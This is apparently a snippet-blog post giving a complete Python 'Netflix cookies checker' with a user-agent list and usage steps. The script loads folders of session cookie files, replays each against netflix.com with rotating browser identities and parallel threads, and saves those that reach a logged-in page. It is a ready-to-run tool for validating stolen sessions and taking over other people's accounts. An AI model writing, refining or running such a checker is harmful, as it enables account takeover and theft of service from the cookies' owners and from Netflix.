Code Snippets Repository

Home

netflix cookies checker python script

Saturday, 13 January 2024 -

#main.py

import requests
import os
import random
import shutil
from concurrent.futures import ThreadPoolExecutor

def parse_cookie_line(line):
    parts = line.strip().split('\t')
    if len(parts) == 7:
        return {
            'domain': parts[0],
            'name': parts[5],
            'value': parts[6],
            'path': parts[2],
            'secure': parts[3] == 'TRUE',
            'expires': parts[4]
        }
    return None

def save_working_cookie(source_file):
    destination_folder = 'working cookies'
    if not os.path.exists(destination_folder):
        os.makedirs(destination_folder)
    shutil.copy(source_file, destination_folder)

def check_cookies(file_path, user_agents):
    session = requests.Session()
    with open(file_path, 'r') as file:
        for line in file:
            cookie = parse_cookie_line(line)
            if cookie:
                session.cookies.set(cookie['name'], cookie['value'], domain=cookie['domain'], path=cookie['path'], secure=cookie['secure'])

    headers = {'User-Agent': random.choice(user_agents)}
    response = session.get("https://www.netflix.com/", headers=headers)

    if "browse" in response.url:
        save_working_cookie(file_path)
        return file_path
    return None

# Load user agents from file
with open('user_agents.txt', 'r') as file:
    user_agents = [line.strip() for line in file.readlines()]

# Folder containing cookie text files
cookie_folder = 'cookie'

# Use ThreadPoolExecutor to check cookies in parallel
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = []
    for filename in os.listdir(cookie_folder):
        file_path = os.path.join(cookie_folder, filename)
        if os.path.isfile(file_path):
            futures.append(executor.submit(check_cookies, file_path, user_agents))

    for future in futures:
        result = future.result()
        if result:
            print(f"Cookies from file '{os.path.basename(result)}' are working and saved in 'working cookies' folder.")


#user_agents.py


    Windows 10 / Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    macOS Big Sur / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
    Ubuntu 20.04 / Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
    Android 11 / Mozilla/5.0 (Linux; Android 11; Pixel 4 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36
    iOS 14.5 / Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1
    Fedora 33 / Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
    Windows 8.1 / Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Chrome OS / Mozilla/5.0 (X11; CrOS x86_64 13816.82.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.218 Safari/537.36
    Linux Mint / Mozilla/5.0 (X11; Linux Mint; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
    macOS Catalina / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Windows 7 / Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    iOS 13.7 / Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/15E148 Safari/604.1
    Android 10 / Mozilla/5.0 (Linux; Android 10; SM-A505FN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36
    Windows 10 / Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    macOS Mojave / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
    Ubuntu 18.04 / Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
    iOS 12.4 / Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1
    Android 9 / Mozilla/5.0 (Linux; Android 9; SM-G960F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36
    Windows 10 / Edge/90.0.818.66
    macOS High Sierra / Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Debian / Mozilla/5.0 (X11; Debian; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
    Windows 8 / Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    iOS 11.3 / Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
    Android 8 / Mozilla/5.0 (Linux; Android 8; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36
    Windows 10 / Mozilla/5.0 (Windows NT 10.0; ARM; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36

1st: make user agent text file in same folder

2nd: make folder named cookie in this folder paste all cookies there

3rd run programe using command py main.py

4th all working cookies will be pasted in new folder called working cookies